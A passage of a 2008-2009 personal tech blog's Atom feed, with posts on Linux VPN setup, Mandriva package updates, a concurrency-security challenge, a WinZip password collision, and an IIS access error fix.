more.&lt;br /&gt;&lt;br /&gt;On the bright side, I have finally managed to find a way to connect to vpn from my Linux box. At first I went through the trouble of installing the &lt;a href="http://projects.tuxx-home.at/?id=cisco_vpn_client"&gt;Cisco VPN client for Linux&lt;/a&gt;, but no matter how hard I tried it couldn't connect to the gateway. Next I tried &lt;a href="http://www.openvpn.net/"&gt;OpenVPN&lt;/a&gt;, but it didn't seem to be compatible either. In the end I tried &lt;a href="http://www.unix-ag.uni-kl.de/%7Emassar/vpnc/"&gt;vpnc&lt;/a&gt;. It was impossible to get it to work using certificate authentication, however group authentication worked fine ;)&lt;br /&gt;&lt;br /&gt;Now probably there'll be no big changes until Mandriva Linux 2010 comes out!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-1794574273261987781?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/1794574273261987781/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=1794574273261987781' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1794574273261987781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1794574273261987781'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2009/09/some-updates.html' title='Some updates'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-6211138238352022952</id><published>2009-08-29T11:30:00.003+01:00</published><updated>2009-08-29T11:54:34.262+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='challenge'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='concurrency'/><title type='text'>New challenge</title><content type='html'>So finally, a new challenge! As I mentioned in the &lt;a href="http://quangntenemy.blogspot.com/2009/05/im-still-around.html"&gt;previous post&lt;/a&gt;, it's about concurrency security. I've been too busy (and lazy :P) to put it all together but Gizmore did the job quite well. You can try the challenge here: &lt;a href="http://www.wechall.net/challenge/quangcurrency/index.php"&gt;http://www.wechall.net/challenge/quangcurrency/index.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This challenge is just a small demonstration of the problem. In real world systems this could be a tricky bug neglected by most developers so probably you can find it everywhere, and if more people look into it there might be chaos. Maybe more demonstration will be coming soon ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-6211138238352022952?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/6211138238352022952/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=6211138238352022952' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6211138238352022952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/6211138238352022952'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2009/08/new-challenge.html' title='New challenge'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-2169907412640803091</id><published>2009-08-01T12:28:00.000+01:00</published><updated>2012-02-11T10:34:37.230Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='mandriva'/><category scheme='http://www.blogger.com/atom/ns#' term='pidgin'/><category scheme='http://www.blogger.com/atom/ns#' term='spring'/><category scheme='http://www.blogger.com/atom/ns#' term='2009.1'/><category scheme='http://www.blogger.com/atom/ns#' term='urpmi'/><title type='text'>2009.1</title><content type='html'>So Mandriva 2009 Spring Edition (2009.1) has been out for a few months, but I'm too lazy to update it. To be honest, I was quite satisfied with 2009, until recently when Yahoo changed their protocol and my old version Pidgin couldn't connect to their server anymore. A lame reason I know but that was the thing that helped me defeat my laziness and download the new image.&lt;br /&gt;&lt;br /&gt;This time, instead of burning the image to dvd, I have decided to mount it locally and use it as an update media. Here's the command to add it to urpmi database:&lt;br /&gt;&lt;pre&gt;$ urpmi.addmedia --distrib cdrom /mnt/2009.1/i586/&lt;br /&gt;adding medium ""Mandriva Linux - 2009 Spring (Free) - main" (cdrom1)" before remote medium "Mandriva Linux - 2009.0 (Free) - Installer"&lt;br /&gt;adding medium ""Mandriva Linux - 2009 Spring (Free) - contrib" (cdrom2)" beforeremote medium "Mandriva Linux - 2009.0 (Free) - Installer"&lt;br /&gt;&lt;/pre&gt;Then the pidgin update:&lt;br /&gt;&lt;pre&gt;$ urpmi pidgin&lt;br /&gt;To satisfy dependencies, the following packages are going to be installed:&lt;br /&gt; Package                        Version      Release       Arch&lt;br /&gt;(medium ""Mandriva Linux - 2009 Spring (Free) - main" (cdrom1)")&lt;br /&gt;libpurple0                     2.5.5        5mdv2009.1    i586&lt;br /&gt;pidgin                         2.5.5        5mdv2009.1    i586&lt;br /&gt;pidgin-i18n                    2.5.5        5mdv2009.1    i586&lt;br /&gt;pidgin-plugins                 2.5.5        5mdv2009.1    i586&lt;br /&gt;1.2MB of additional disk space will be used.&lt;br /&gt;4.9MB of packages will be retrieved.&lt;br /&gt;Proceed with the installation of the 4 packages? (Y/n) y&lt;br /&gt;&lt;br /&gt;installing pidgin-i18n-2.5.5-5mdv2009.1.i586.rpm pidgin-plugins-2.5.5-5mdv2009.1.i586.rpm libpurple0-2.5.5-5mdv2009.1.i586.rpm pidgin-2.5.5-5mdv2009.1.i586.rpmfrom /mnt/2009.1/i586/media/main&lt;br /&gt;Preparing...                     #############################################&lt;br /&gt;    1/4: libpurple0            #############################################&lt;br /&gt;    2/4: pidgin-plugins        #############################################&lt;br /&gt;    3/4: pidgin-i18n           #############################################&lt;br /&gt;    4/4: pidgin                #############################################&lt;br /&gt;&lt;/pre&gt;Unfortunately, the problem with pidgin was only fixed in version 2.5.7. So in the end I had to grab the latest version 2.5.8 off the Internet to get it done.&lt;br /&gt;&lt;br /&gt;Maybe tomorrow I'll try updating the kernel next.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-2169907412640803091?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/2169907412640803091/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=2169907412640803091' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2169907412640803091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2169907412640803091'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2009/08/20091.html' title='2009.1'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-1259422822723262744</id><published>2009-05-09T12:04:00.007+01:00</published><updated>2010-12-06T01:42:40.040Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='greasemonkey'/><category scheme='http://www.blogger.com/atom/ns#' term='forumwarz'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='prototype'/><category scheme='http://www.blogger.com/atom/ns#' term='concurrency'/><title type='text'>I'm still around</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;There hasn't been any update for a long while. Work has been keeping me busy, and the rest of my free time has been taken away by &lt;a href="http://www.forumwarz.com/"&gt;Forumwarz&lt;/a&gt;, a browser-based RPG about Internet culture. As a security specialist, I even helped Evil Trout, the admin of Forumwarz, fix a lot of security vulnerabilities there.&lt;br /&gt;&lt;br /&gt;During my time spent on Forumwarz, I got myself acquainted with &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/748"&gt;Greasemonkey&lt;/a&gt;, a Firefox plugin that lets you run custom Javascript on websites to achieve certain tasks, and &lt;a href="http://www.prototypejs.org/"&gt;Prototype&lt;/a&gt;, an interesting Javascript framework that makes me think traditional Javascript is just a thing of the past :P&lt;br /&gt;&lt;br /&gt;Another thing that attracted my interest is concurrency security. Concurrency-related problems could lead to nasty bugs in your system, data inconsistency, and even security breach. This issue has not been given enough consideration by security researchers, but I believe it cannot be underestimated. Maybe I will create a challenge based on it for everyone to enjoy ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-1259422822723262744?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/1259422822723262744/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=1259422822723262744' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1259422822723262744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1259422822723262744'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2009/05/im-still-around.html' title='I&apos;m still around'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-8541668707272882421</id><published>2009-04-13T10:29:00.000+01:00</published><updated>2012-02-11T10:51:08.420Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='jquery'/><category scheme='http://www.blogger.com/atom/ns#' term='calendar'/><title type='text'>jQuery calendar</title><content type='html'>If you use &lt;a href="http://docs.jquery.com/Plugins/Calendar"&gt;jQuery Calendar&lt;/a&gt; in your web page, never use "hasCalendar" as the css class. Because jQuery Calendar itself uses this as the marker to indicate that the textbox already has a calendar associated with it. I used this to automatically add a calendar to all textbox controls in my page, but it didn't work and it took me a while to figure this out.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-8541668707272882421?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/8541668707272882421/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=8541668707272882421' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8541668707272882421'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8541668707272882421'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2009/04/jquery-calendar.html' title='jQuery calendar'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-5950018610734005871</id><published>2008-12-22T13:23:00.002Z</published><updated>2008-12-22T13:35:38.739Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='steganabara'/><title type='text'>Steganabara 1.1.1 - finally!</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;I have been making some minor improvements to Steganabara during the years, but due to my laziness a new version has not been released until now. But today, an email from &lt;a href="http://www.bright-shadows.net/userstats.php?username=r0d"&gt;r0d&lt;/a&gt; pulled me out of the shadow and Steganabara version 1.1.1 is now ready! No new feature yet, but I am glad to announce that the drag 'n drop feature has been supported for KDE 4.&lt;br /&gt;&lt;br /&gt;As always, you can download this new version from &lt;a href="http://www.freewebs.com/quangntenemy/steganabara/index.html"&gt;my homepage&lt;/a&gt;. And of course, you should send me ideas for new features to make Steganabara the best steganalysis tool in the challenger world ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-5950018610734005871?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/5950018610734005871/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=5950018610734005871' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5950018610734005871'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/5950018610734005871'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/12/steganabara-111-finally.html' title='Steganabara 1.1.1 - finally!'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-912466110734676738</id><published>2008-12-02T15:12:00.004Z</published><updated>2008-12-02T15:47:45.825Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='xml challenge'/><category scheme='http://www.blogger.com/atom/ns#' term='ibm'/><title type='text'>IBM's XML challenge - joke?</title><content type='html'>I got an email today about &lt;a href="http://www.xmlchallenge.com/"&gt;this XML challenge from IBM&lt;/a&gt;, which sounded very interesting. But I was quite disappointed.&lt;br /&gt;&lt;br /&gt;After registering, I was taken to a MCQ quiz, with the answer to each question almost given out in the introduction text. Oh well.&lt;br /&gt;&lt;br /&gt;Next I was provided with 3 contests: Video Mania, Query Challenge, and Programming Contest. I'm no good at making videos, and the programming contest was only available to students, so I started on the Query Challenge.&lt;br /&gt;&lt;br /&gt;The query challenge was about pureXML, which could be summarised as some kind of combination between traditional SQL and XML into their database management system.&lt;br /&gt;&lt;br /&gt;They launched a website: &lt;a href="http://db2xmlcontest.morphexchange.com/"&gt;http://db2xmlcontest.morphexchange.com&lt;/a&gt;, which acts as a quick console for those who don't want to download the huge package called DB2 Express-C, but I quickly found it vulnerable to XSS.&lt;br /&gt;&lt;br /&gt;After a hard time struggling through their online documents to find reference for some simple queries, I finally managed to reach question 4, in which I needed to find out which country has bordering countries in other continents. Well, have a look at a sample data file:&lt;br /&gt;&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="UTF-8" ?&amp;gt;&amp;lt;country cid="1"&amp;gt;&amp;lt;border_countries&amp;gt;China 76 km, Iran 936 km, Pakistan 2,430 km, Tajikistan 1,206 km, Turkmenistan 744 km, Uzbekistan 137 km&amp;lt;/border_countries&amp;gt;&amp;lt;population&amp;gt;31056997&amp;lt;/population&amp;gt;&amp;lt;area unit="sq km"&amp;gt;&amp;lt;total&amp;gt;647500&amp;lt;/total&amp;gt;&amp;lt;land&amp;gt;647500&amp;lt;/land&amp;gt;&amp;lt;water&amp;gt;0&amp;lt;/water&amp;gt;&amp;lt;/area&amp;gt;&amp;lt;boundaries unit="km"&amp;gt;5529 &amp;lt;/boundaries&amp;gt;&amp;lt;coastline unit="km"&amp;gt;0&amp;lt;/coastline&amp;gt;&amp;lt;currency&amp;gt;AFA&amp;lt;/currency&amp;gt;&amp;lt;fiscal_year&amp;gt;&lt;br /&gt;           21 March - 20 March&lt;br /&gt;   &amp;lt;/fiscal_year&amp;gt;&amp;lt;ports_and_terminals&amp;gt;&lt;br /&gt;           Kheyrabad, Shir Khan&lt;br /&gt;   &amp;lt;/ports_and_terminals&amp;gt;&amp;lt;elevation_extremes&amp;gt;&amp;lt;highest_point&amp;gt;Nowshak 7,485 m&amp;lt;/highest_point&amp;gt;&amp;lt;lowest_point&amp;gt;Amu Darya 258 m&amp;lt;/lowest_point&amp;gt;&amp;lt;/elevation_extremes&amp;gt;&amp;lt;/country&amp;gt;&lt;br /&gt;&lt;br /&gt;WTF?!!!&lt;span style="font-weight: bold;"&gt;&lt;/span&gt; It's XML, why do they have to store the bordering countries in a stupid string, which isn't even comma-separated? I could still do it anyway, using the power of regular expression in my favourite language. But to do it with a single query, there's no way I'm gonna dig through the poorly documented website just to find some stupid string manipulation functions to get the job done.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-912466110734676738?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/912466110734676738/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=912466110734676738' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/912466110734676738'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/912466110734676738'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/12/ibms-xml-challenge-joke.html' title='IBM&apos;s XML challenge - joke?'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4615559455041679365</id><published>2008-11-29T11:17:00.002Z</published><updated>2008-11-29T11:25:18.083Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='siteadvisor'/><category scheme='http://www.blogger.com/atom/ns#' term='website'/><category scheme='http://www.blogger.com/atom/ns#' term='mcafee'/><title type='text'>McAfee SiteAdvisor</title><content type='html'>Lol, have a look at this analysis of my website by McAfee: &lt;a href="http://www.siteadvisor.com/sites/freewebs.com/quangntenemy"&gt;http://www.siteadvisor.com/sites/freewebs.com/quangntenemy&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I suppose many people downloaded the FreeRice bot I wrote a long time ago and that's why they had my site tested for security :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4615559455041679365?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4615559455041679365/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4615559455041679365' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4615559455041679365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4615559455041679365'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/11/mcafee-siteadvisor.html' title='McAfee SiteAdvisor'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-2413015595399112673</id><published>2008-10-15T14:05:00.000+01:00</published><updated>2012-02-11T10:34:37.276Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='mandriva'/><category scheme='http://www.blogger.com/atom/ns#' term='2009.0'/><category scheme='http://www.blogger.com/atom/ns#' term='kde4'/><title type='text'>Yay for 2009.0</title><content type='html'>Hey guys, I'm back with a brand new operating system :)&lt;br /&gt;&lt;br /&gt;After installing I encountered some bug with the display manager that made the keyboard stop working after a while so I needed to use KDM 3.&lt;br /&gt;&lt;br /&gt;KDE 4 is awesome! Here's a screenshot:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OCNhupYc3g0/SPXrmy7sNCI/AAAAAAAAAD0/HVcNaM7iDsQ/s1600-h/desktop.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_OCNhupYc3g0/SPXrmy7sNCI/AAAAAAAAAD0/HVcNaM7iDsQ/s320/desktop.png" alt="" id="BLOGGER_PHOTO_ID_5257367191764612130" border="0" /&gt;&lt;/a&gt;I'm still a bit unfamiliar with the changes though :( I can't find the new hotkey for "Show desktop", which used to be Ctrl-Alt-D in KDE 3. The PrintScreen key doesn't seem to work, and I need to run the ksnapshot command to take a screnshot. The desktop setting to change the monitor gamma is gone, and I need to use the xgamma command. And more...&lt;br /&gt;&lt;br /&gt;Let's try to tame this new penguin :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-2413015595399112673?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/2413015595399112673/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=2413015595399112673' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2413015595399112673'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2413015595399112673'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/10/yay-for-20090.html' title='Yay for 2009.0'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_OCNhupYc3g0/SPXrmy7sNCI/AAAAAAAAAD0/HVcNaM7iDsQ/s72-c/desktop.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-2241765809553103904</id><published>2008-10-10T02:28:00.000+01:00</published><updated>2012-02-11T10:34:37.327Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='mandriva'/><category scheme='http://www.blogger.com/atom/ns#' term='2009.0'/><title type='text'>Mandriva Linux 2009.0</title><content type='html'>Mandriva announced the official public release of Mandriva Linux 2009.0 yesterday. It's the first time in many years they've met their scheduled date! I am downloading it now. Wish me good luck!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-2241765809553103904?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/2241765809553103904/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=2241765809553103904' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2241765809553103904'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2241765809553103904'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/10/mandriva-linux-20090.html' title='Mandriva Linux 2009.0'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-1931745611472037548</id><published>2008-10-06T04:03:00.002+01:00</published><updated>2008-10-06T04:11:46.280+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='password'/><category scheme='http://www.blogger.com/atom/ns#' term='collision'/><category scheme='http://www.blogger.com/atom/ns#' term='zip'/><title type='text'>Winzip password collision</title><content type='html'>I created &lt;a href="http://depositfiles.com/files/8389707"&gt;this zip file&lt;/a&gt; for a word guessing contest at &lt;a href="http://www.forumwarz.com"&gt;ForumWarz&lt;/a&gt;, using a strong password, "5be890c219b0a837600e5fbb7ae8a2505be890c219b0a837600e5fbb7ae8a250" (not insanely strong but I guess that's strong enough for an average user). But it got cracked easily using &lt;a href="http://www.elcomsoft.com/azpr.html"&gt;AZPR&lt;/a&gt; with a brute-force attack.&lt;br /&gt;&lt;br /&gt;It turned out that you can unzip the file with a much shorter password "tdc4Dl" too.&lt;br /&gt;&lt;br /&gt;Surprised? I knew that zip protection was insecure but never thought it was that terrible.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.cs.washington.edu/homes/yoshi/papers/WinZip/winzip.pdf"&gt;This paper&lt;/a&gt; has some more information about zip encryption weaknesses, but I'm too lazy to read something that long. Maybe rhican can enlighten me :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-1931745611472037548?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/1931745611472037548/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=1931745611472037548' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1931745611472037548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1931745611472037548'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/10/winzip-password-collision.html' title='Winzip password collision'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-2143459308529882999</id><published>2008-09-03T09:37:00.000+01:00</published><updated>2012-02-11T10:51:08.485Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='AccessFlags'/><category scheme='http://www.blogger.com/atom/ns#' term='metabase'/><category scheme='http://www.blogger.com/atom/ns#' term='HTTP Error 403.2'/><category scheme='http://www.blogger.com/atom/ns#' term='iis'/><title type='text'>HTTP Error 403.2 - Forbidden: Read access is denied</title><content type='html'>Today I encountered this stupid error on my server all of a sudden. A virtual website threw the stupid error message, while the others were still working fine.&lt;br /&gt;&lt;br /&gt;The only clue I could find from the system admin was that he recently installed the crappy SharePoint stuff from M$.&lt;br /&gt;&lt;br /&gt;After hours of searching on the internet, I finally found the solution to my problem here: &lt;a href="http://objectmix.com/inetserver/285116-http-error-403-2-forbidden-read-access-denied-2.html#post1008979"&gt;http://objectmix.com/inetserver/285116-http-error-403-2-forbidden-read-access-denied-2.html#post1008979&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OCNhupYc3g0/SL5RDpBjkNI/AAAAAAAAADo/27cr0tBEWjs/s1600-h/accessflags.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_OCNhupYc3g0/SL5RDpBjkNI/AAAAAAAAADo/27cr0tBEWjs/s320/accessflags.png" alt="" id="BLOGGER_PHOTO_ID_5241716139299672274" border="0" /&gt;&lt;/a&gt;Basically what happened was that the SharePoint installer screwed up some hidden metabase property named AccessFlags. On my server it was changed to 30215. I needed to change it back to 519 for it to work again.&lt;br /&gt;&lt;br /&gt;What can I say? M$ sucks. As always!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-2143459308529882999?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/2143459308529882999/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=2143459308529882999' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2143459308529882999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2143459308529882999'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2008/09/http-error-4032-forbidden-read-access.html' title='HTTP Error 403.2 - Forbidden: Read access is denied'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image 